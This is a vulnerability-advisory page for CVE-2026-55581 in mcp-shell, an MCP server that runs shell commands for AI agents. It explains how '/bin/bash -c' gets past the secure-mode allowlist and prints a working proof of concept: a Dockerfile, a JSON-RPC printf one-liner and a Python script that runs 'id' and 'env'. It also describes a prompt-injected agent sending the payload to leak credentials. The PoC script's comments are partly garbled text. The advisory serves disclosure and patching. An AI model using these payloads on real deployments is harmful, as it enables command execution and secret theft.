Skip to main content

mcp-shell CVE-2026-55581

| EUVDEUVD-2026-65549 HIGH
OS Command Injection (CWE-78)
2026-08-25 https://github.com/sonirico/mcp-shell GHSA-3x77-wg38-92r3
8.4
CVSS 3.1 · Vendor: https://github.com/sonirico/mcp-shell
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Connect as MCP stdio client
  2. Delivery
    Send shell_exec with /bin/bash -c payload
  3. Exploit
    Validator approves /bin/bash token only
  4. Execution
    -c flag bypasses metacharacter filter
  5. Persist
    exec.CommandContext executes arbitrary command
  6. Impact
    Exfiltrate secrets or modify files as mcpuser

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concurrent conditions, all present in the default Docker image: (1) mcp-shell must be running in secure mode with /bin/bash (or another shell interpreter) present in allowed_executables in the loaded security.yaml - this is the shipped default; (2) blocked_commands and blocked_patterns must be empty arrays - this is also the shipped default, explicitly noted in the advisory; (3) the attacker must be able to send JSON-RPC messages to the container's stdin as a connected MCP client - no credentials or elevated privileges are required per the PR:N CVSS rating and advisory. No special network position, credentials, or prior foothold are needed; any MCP client with stdio access satisfies the prerequisites. Exploitation is limited by the container boundary: commands execute as mcpuser (UID 1000, non-root) and are constrained to the container's filesystem and network configuration. Containers launched with --network=none (as in the PoC) still allow full filesystem and process exploitation; network-connected containers additionally enable data exfiltration and lateral movement.

Impact

The vendor-assigned CVSS 3.1 score of 8.4 (AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) is internally consistent with the mechanics: AV:L reflects that the attack is delivered over the container's stdio pipe rather than a network socket, and PR:N reflects the advisory's explicit statement that no authentication or configuration change is required. However, the AV:L classification understates practical risk for containerized MCP deployments: any connected MCP client - AI agent, LLM orchestration platform, or CI/CD pipeline - is functionally an unauthenticated attacker with local stdio access. AC:L and the fully working PoC confirm exploitation is trivial with no special conditions. No EPSS score was provided in the input data; exploitation probability cannot be quantified from available signals. The vulnerability is not in CISA KEV, and no evidence of exploitation beyond the researcher-authored PoC exists. The S:U (scope unchanged) rating is accurate: exploitation is bounded by the container running as mcpuser unless the container has elevated capabilities or host mounts. Real-world risk is higher than raw CVSS implies for organizations exposing mcp-shell to untrusted MCP clients, particularly AI agents that may be prompt-injected into sending malicious shell_exec payloads.

Exploit ScenarioDerived

An AI agent connected to a vulnerable mcp-shell Docker container - possibly prompt-injected by malicious content in a document it is processing - sends a JSON-RPC tools/call request with {"name":"shell_exec","arguments":{"command":"/bin/bash -c env"}} over stdin. The validator approves /bin/bash as allowlisted and passes -c env through the metacharacter check unblocked; exec.CommandContext executes env as mcpuser, returning all container environment variables including any secrets, API keys, or credentials injected at container startup. A working PoC demonstrating this exact flow (including a control test confirming direct id execution is blocked) is included in the advisory at https://github.com/sonirico/mcp-shell/security/advisories/GHSA-3x77-wg38-92r3.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 25, 2026

Arbitrary OS command execution in mcp-shell's default Docker image allows any MCP tool caller to bypass the secure-mode executable allowlist by supplying /bin/bash -c <payload> to the shell_exec tool, running commands as mcpuser (UID 1000) inside the container. The validator in security.go extracts only the first whitespace-delimited token as the executable, approves /bin/bash against the default allowlist, and passes the -c flag through the metacharacter check unchallenged because the default blocked_patterns array is empty. A fully working PoC is included in the GitHub Security Advisory GHSA-3x77-wg38-92r3; no public exploit identified at time of analysis beyond the researcher-provided PoC, and no CISA KEV listing exists. Vendor-released patch v0.6.0 is confirmed.

RemediationAI

Upgrade to mcp-shell v0.6.0, which resolves the vulnerability by (1) removing shell interpreters from the built-in default allowlist entirely, (2) making secure mode the out-of-the-box default without requiring a config file, and (3) requiring affirmative opt-in via MCP_SHELL_ALLOW_UNSAFE=true to disable all validation. The patch is available at https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0 via PR #16 (https://github.com/sonirico/mcp-shell/pull/16). For operators unable to upgrade immediately: remove /bin/bash, /bin/sh, /bin/dash, /bin/ash, /usr/bin/zsh, and any other shell interpreter from allowed_executables in security.yaml - this eliminates the primary attack path with no functionality loss if those interpreters are not legitimately required. As a secondary compensating control, add shell command-mode flags (-c, -e, -x) to blocked_patterns in security.yaml to block the bypass even if an interpreter remains listed, though this is less reliable than removal since flag combinations (e.g., -ec) may evade simple string matching. Never set MCP_SHELL_ALLOW_UNSAFE=true in production. Rebuild and redeploy the Docker image after any configuration change to ensure the bundled security.yaml is updated.

Affected VersionsENISA

mcp-shell < 0.6.0

Affected Packages

go github.com/sonirico/mcp-shell fix: 0.6.0
euvd mcp_shell fix: 0.6.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

mcp-shell (pkg:go/github.com/sonirico/mcp-shell) is a Go-based MCP (Model Context Protocol) server that exposes a shell_exec tool enabling AI agent clients to execute OS commands over JSON-RPC via stdio. Its 'secure mode' restricts execution to an explicit allowed_executables list defined in security.yaml. The CWE-78 (OS Command Injection) root cause is an incomplete validator in security.go:67-96: the code splits the user-supplied command on whitespace and matches only parts[0] against the allowlist, ignoring all subsequent arguments. Because the default security.yaml (bundled into the Docker image at build time via COPY security.yaml /etc/mcp-shell/security.yaml) registers /bin/bash as an allowed executable, and because checkBlockedPatternsAndCommands only rejects a fixed set of shell metacharacters (|, &, ;, <, >, backtick, $, etc.) - not the -c flag - the payload passes validation. The executor in executor.go:163 then calls exec.CommandContext(ctx, "/bin/bash", "-c", "<arbitrary>") directly, which is functionally equivalent to spawning a shell. The Go runtime does not itself inject a shell, but /bin/bash -c does, defeating the allowlist entirely.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/sonirico/mcp-shell) PRIMARY 8.4 HIGH
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.4 HIGH

AV:L reflects stdio delivery channel; PR:N confirmed by advisory (no auth needed on default config); full C/I/A within container; S:U as container boundary limits scope change.

3.1 AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from Vendor (https://github.com/sonirico/mcp-shell).

CVSS VectorVendor: https://github.com/sonirico/mcp-shell

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

mcp-shell ships a default Docker configuration (security.yaml) that includes /bin/bash in the allowed_executables allowlist. The command validator (security.go) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as -c. As a result, any MCP tool caller can send command=/bin/bash -c <arbitrary-command> to the shell_exec tool and execute commands that are not in the allowlist - including id, env, curl, wget, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as mcpuser.

Details

mcp-shell implements a *secure mode* in which command execution is restricted to an explicit allowlist of executables defined in security.yaml. The Docker image ships this file with the following entry:

yaml
# security.yaml (line 29)
allowed_executables:
  - "ls"
  - ...
  - "/bin/bash"
# Only allow if you trust the arguments

The comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in security.go is responsible for enforcing secure mode:

go
// security.go:84-96
for _, allowed := range v.config.AllowedExecutables {
    if v.matchesExecutable(executable, allowed) {
        if err := v.checkBlockedPatternsAndCommands(command); err != nil {
            return err
        }
        return nil
    }
}

executable is derived solely from parts[0] after splitting the input on whitespace (security.go:67). When the command is /bin/bash -c id, executable evaluates to /bin/bash, which matches the allowlist entry. The -c flag and subsequent arguments are passed to checkBlockedPatternsAndCommands, which only checks for shell metacharacters (|, &, ;, <, >, (, ), {, }, [, ], ` `, $, \, ", ') and a configurable list of blocked_commands/blocked_patterns - both of which default to empty arrays in the shipped configuration. The flag -c` does not match any blocked metacharacter, so the check passes.

The validated command then reaches the executor:

go
// executor.go:149-163
executable, args, err := e.parseCommand(command)
// ...
cmd = exec.CommandContext(ctx, executable, args...)

parseCommand splits the command string, yielding executable="/bin/bash" and args=["-c", "id"]. exec.CommandContext is invoked directly - no shell is spawned by the executor itself - but /bin/bash -c id is equivalent to a shell invocation, executing id outside the allowlist.

Data flow (source → sink):

StepLocationDescription
1Dockerfile:55COPY security.yaml /etc/mcp-shell/security.yaml - bundles vulnerable config into image
2Dockerfile:57ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml - activates config by default
3security.yaml:29/bin/bash registered in allowed_executables
4main.go:84-102MCP tool shell_exec registered with required command parameter
5handler.go:34command := request.RequireString("command") - attacker-controlled input received
6handler.go:49h.validator.validateCommand(command) - validation called
7security.go:67-96executable = parts[0] matches /bin/bash; -c not blocked; returns nil
8handler.go:59Validated command forwarded to executor
9executor.go:163exec.CommandContext(ctx, "/bin/bash", "-c", "id") - sink: arbitrary execution

PoC

Prerequisites:

  • Docker installed and accessible.
  • Repository source code checked out (build context is the repository root).
  • python3 available (for the automated PoC script).

Step 1 - Build the Docker image

bash
docker build \
  -f vuln-001/Dockerfile \
  /path/to/mcp-shell-repo \
  -t mcp-shell-vuln-001:latest

Step 2 - Run the PoC script

bash
python3 vuln-001/poc.py mcp-shell-vuln-001:latest

The script sends three MCP JSON-RPC requests over stdio:

  1. initialize handshake
  2. tools/call shell_exec with command="/bin/bash -c id" - exploit payload
  3. tools/call shell_exec with command="id" - control: direct invocation must be blocked

Expected output (exploit success):

[id=2] /bin/bash -c id response:
  → status='success', exit_code=0, stdout='uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)'

[+] PASS: uid= confirmed → /bin/bash -c via arbitrary command execution  successful!

[+] control confirmed: 'id' direct execution blocked (allowlist behavior normal)
    → allowlist bypass  /bin/bash -c only through the path occurs proven

Alternatively, using raw printf (no Python required):

bash
printf '%s\n' \
  '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0.0.1"}}}' \
  '{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}' \
  '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"shell_exec","arguments":{"command":"/bin/bash -c id","base64":false}}}' \
| docker run --rm -i mcp-shell-vuln-001:latest

Observed MCP response:

json
{
  "command": "/bin/bash -c id",
  "execution_time": "3.854555ms",
  "exit_code": 0,
  "security_info": {"security_enabled": true, "working_dir": "/tmp", "timeout_applied": true},
  "status": "success",
  "stderr": "",
  "stdout": "uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)"
}

Remediation (patch guidance):

  1. Remove shell interpreters from the default security.yaml allowlist:
diff
--- a/security.yaml
+++ b/security.yaml
-    - "/bin/bash"
# Only allow if you trust the arguments
  1. Add argument-level validation in security.go to block shell command-mode flags even when a shell interpreter is allowlisted:
diff
--- a/security.go
+++ b/security.go
  executable := parts[0]
+ args := parts[1:]
+
+ if isShellCommandMode(executable, args) {
+     return fmt.Errorf("shell command mode is not allowed in secure mode: %s", executable)
+ }

  // Check if the executable is in the allowlist
  for _, allowed := range v.config.AllowedExecutables {
  ...
  }
+
+ func isShellCommandMode(executable string, args []string) bool {
+     base := filepath.Base(executable)
+     switch base {
+     case "sh", "bash", "dash", "ash", "zsh", "ksh":
+         for _, arg := range args {
+             if arg == "-c" || (strings.HasPrefix(arg, "-") && strings.Contains(arg, "c")) {
+                 return true
+             }
+         }
+     }
+     return false
+ }

Impact

This is an OS Command Injection vulnerability (CWE-78). The shell_exec MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (curl, wget, env, sed, grep, tar, etc. - all installed by the Dockerfile) under the identity of mcpuser (UID 1000).

Who is impacted:

  • Any operator deploying the official Docker image without modifying the default security.yaml is vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required.
  • MCP clients that interact with a vulnerable mcp-shell instance - including automated AI agents, LLM orchestration platforms, and CI/CD pipelines - may be leveraged to exfiltrate secrets, tamper with files accessible to mcpuser, or pivot further within the container's network.
  • The --network=none flag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movement.

Concrete consequences of exploitation:

  • Confidentiality: Dump environment variables (/bin/bash -c env), read files, or exfiltrate credentials visible to mcpuser.
  • Integrity: Write or modify files within the container's writable filesystem.
  • Availability: Consume container resources or terminate processes.

Reproduction artifacts

Dockerfile
dockerfile
# VULN-001 PoC Dockerfile: Secure Mode Allowlist Bypass via /bin/bash -c
# build context: ../repo directory
# usage: docker build -f vuln-001/Dockerfile ../repo -t mcp-shell-vuln-001:latest
# Build stage
FROM golang:1.25-alpine AS builder

RUN apk add --no-cache git

WORKDIR /app

COPY go.mod go.sum ./
RUN go mod download

COPY *.go ./

ARG VERSION=vuln-001-poc
RUN CGO_ENABLED=0 GOOS=linux go build \
    -ldflags "-X main.version=${VERSION} -s -w" \
    -a -installsuffix cgo \
    -o mcp-shell .
# Runtime stage
FROM alpine:3.22

RUN apk add --no-cache \
    bash \
    curl \
    wget \
    git \
    make \
    findutils \
    grep \
    sed \
    gawk \
    tar \
    gzip \
    unzip \
    ca-certificates \
    && rm -rf /var/cache/apk/*

RUN addgroup -g 1000 mcpuser && \
    adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser

RUN mkdir -p /tmp/mcp-workspace && \
    chown mcpuser:mcpuser /tmp/mcp-workspace

RUN mkdir -p /etc/mcp-shell && \
    chown mcpuser:mcpuser /etc/mcp-shell

COPY --from=builder /app/mcp-shell /usr/local/bin/mcp-shell
RUN chmod +x /usr/local/bin/mcp-shell
# Vulnerable default configuration: /bin/bash text allowed_executables text containsdone
COPY security.yaml /etc/mcp-shell/security.yaml

ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml
ENV PATH="/usr/local/bin:${PATH}"

USER mcpuser
WORKDIR /tmp/mcp-workspace

ENTRYPOINT ["mcp-shell"]
poc.py
python
#!/usr/bin/env python3
"""
VULN-001 PoC: Secure Mode Allowlist Bypass via /bin/bash -c

Vulnerability summary:
  security.yamltext allowed_executablestext /bin/bash text registerbecomes text,
  validateExecutableCommand (security.go:60-105)text parts[0]=/bin/bash only allowlist checkand
  -c flagtext blocktext text. text /bin/bash -c id text verificationtext passedtext
  executor.go:163 from exec.CommandContext(ctx, "/bin/bash", "-c", "id") text executebecomes
  allowlisttext without arbitrary commandtext(id, env etc.)text executedonetext.

usage:
  python3 poc.py [IMAGE_NAME]
  default text: mcp-shell-vuln-001:latest
"""

import subprocess
import json
import sys

IMAGE = sys.argv[1] if len(sys.argv) > 1 else "mcp-shell-vuln-001:latest"


def make_msg(obj):
    return json.dumps(obj, separators=(',', ':'))
# MCP JSON-RPC message whentext
MESSAGES = [
# 1. initialize handshake
    make_msg({
        "jsonrpc": "2.0", "id": 1,
        "method": "initialize",
        "params": {
            "protocolVersion": "2024-11-05",
            "capabilities": {},
            "clientInfo": {"name": "vuln-001-poc", "version": "0.0.1"}
        }
    }),
# 2. initialized text (response none)
    make_msg({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}}),
# 3. vulnerability text: /bin/bash -c id
#    id text allowlisttext textonly /bin/bash text because it exists verification passed → id execute
    make_msg({
        "jsonrpc": "2.0", "id": 2,
        "method": "tools/call",
        "params": {
            "name": "shell_exec",
            "arguments": {"command": "/bin/bash -c id", "base64": False}
        }
    }),
# 4. comparison: id directly execute → allowlisttext because it is missing blockbecomestext done
    make_msg({
        "jsonrpc": "2.0", "id": 3,
        "method": "tools/call",
        "params": {
            "name": "shell_exec",
            "arguments": {"command": "id", "base64": False}
        }
    }),
# 5. add evidence: env environment variable text (envtext allowlisttext none)
    make_msg({
        "jsonrpc": "2.0", "id": 4,
        "method": "tools/call",
        "params": {
            "name": "shell_exec",
            "arguments": {"command": "/bin/bash -c env", "base64": False}
        }
    }),
]


def extract_text(resp):
    """MCP tools/call responsefrom text contents extract"""
    try:
        content = resp.get("result", {}).get("content", [])
        for item in content:
            if item.get("type") == "text":
                return item["text"]
    except Exception:
        pass
    return None


def run_poc():
    stdin_data = "\n".join(MESSAGES) + "\n"

    print(f"[*] text: {IMAGE}")
    print("[*] text: /bin/bash -c id")
    print("[*] texttimes principle: validateExecutableCommandtext parts[0]=/bin/bash only allowlist check, -c textblock")
    print()

    try:
        proc = subprocess.run(
            ["docker", "run", "--rm", "-i", "--network=none", IMAGE],
            input=stdin_data.encode(),
            capture_output=True,
            timeout=30,
        )
    except subprocess.TimeoutExpired:
        print("[-] error: container response timeout (30seconds)")
        return False, "timeout"
    except FileNotFoundError:
        print("[-] error: docker commandtext text can none")
        return False, "docker not found"
    except Exception as e:
        print(f"[-] error: {e}")
        return False, str(e)

    stdout = proc.stdout.decode(errors="replace")
    stderr = proc.stderr.decode(errors="replace")

    print("=== STDOUT (JSON-RPC response) ===")
    print(stdout)
    if stderr:
        print("=== STDERR (server log, partial) ===")
        print(stderr[:1500])
    print()
# response parse
    responses = {}
    for line in stdout.splitlines():
        line = line.strip()
        if not line:
            continue
        try:
            resp = json.loads(line)
            msg_id = resp.get("id")
            if msg_id is not None:
                responses[msg_id] = resp
        except json.JSONDecodeError:
            pass

    exploit_passed = False
    exploit_evidence = ""
# [id=2] /bin/bash -c id result check (key point evidence)
    if 2 in responses:
        text = extract_text(responses[2])
        if text:
            print(f"[id=2] /bin/bash -c id response text: {text[:400]}")
            try:
                result = json.loads(text)
                stdout_val = result.get("stdout", "")
                status = result.get("status", "")
                exit_code = result.get("exit_code", -1)
                print(f"  → status={status!r}, exit_code={exit_code}, stdout={stdout_val!r}")
                if "uid=" in stdout_val and status == "success":
                    exploit_passed = True
                    exploit_evidence = (
                        f"command=/bin/bash -c id | status={status} | "
                        f"exit_code={exit_code} | stdout={stdout_val}"
                    )
                    print(f"\n[+] PASS: uid= check → /bin/bash -c text arbitrary command execute success!")
                    print(f"[+] Deterministic evidence: {exploit_evidence}")
            except json.JSONDecodeError:
                if "uid=" in text:
                    exploit_passed = True
                    exploit_evidence = text
                    print(f"[+] PASS: uid= confirmed (raw): {text[:200]}")
    else:
        print("[-] id=2 response none (secondstext failure or server error)")
# [id=3] id directly execute → block check (text)
    if 3 in responses:
        text = extract_text(responses[3]) or ""
        resp_str = str(responses[3])
        blocked = (
            "not in allowed list" in text
            or "not in allowed list" in resp_str
            or "Security violation" in text
            or "isError" in resp_str and "true" in resp_str.lower()
        )
        if blocked:
            print(f"\n[+] text check: 'id' directly executetext blocked (allowlist behavior normal)")
            print(f"    → allowlist texttimestext /bin/bash -c pathfromonly occurdonetext proofdone")
        else:
            print(f"[*] 'id' directly result: {text[:200]}")
# [id=4] /bin/bash -c env add evidence
    if 4 in responses:
        text = extract_text(responses[4]) or ""
        try:
            result = json.loads(text)
            stdout_val = result.get("stdout", "")
            if "PATH=" in stdout_val or "HOME=" in stdout_val:
                env_lines = stdout_val.splitlines()[:5]
                print(f"\n[+] add evidence: /bin/bash -c env success (envtext allowlist textcontains)")
                print(f"    first 5lines: {chr(10).join('    ' + l for l in env_lines)}")
        except Exception:
            pass

    return exploit_passed, exploit_evidence


if __name__ == "__main__":
    passed, evidence = run_poc()
    print()
    if passed:
        print("[+] vulnerability reproduction result: PASS")
        sys.exit(0)
    else:
        print("[-] vulnerability reproduction result: FAIL")
        sys.exit(1)

Executive ViewAI

Why It Matters

The mcp-shell Docker image contains a command execution vulnerability (CVE-2026-55581, CVSS 8.4) that allows attackers to bypass security controls and execute arbitrary commands within affected containers. Organizations running mcp-shell in production environments face immediate risk of unauthorized system access and data compromise.

Business Impact: High
Compensating Controls

Apply vendor patch: v0.6.0

Threat Intelligence Overview

EPSS Score
0.3%
Top 73% exploitable
Prevalence
Low
niche Go MCP server, early-stage open source project
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

62
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Important

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy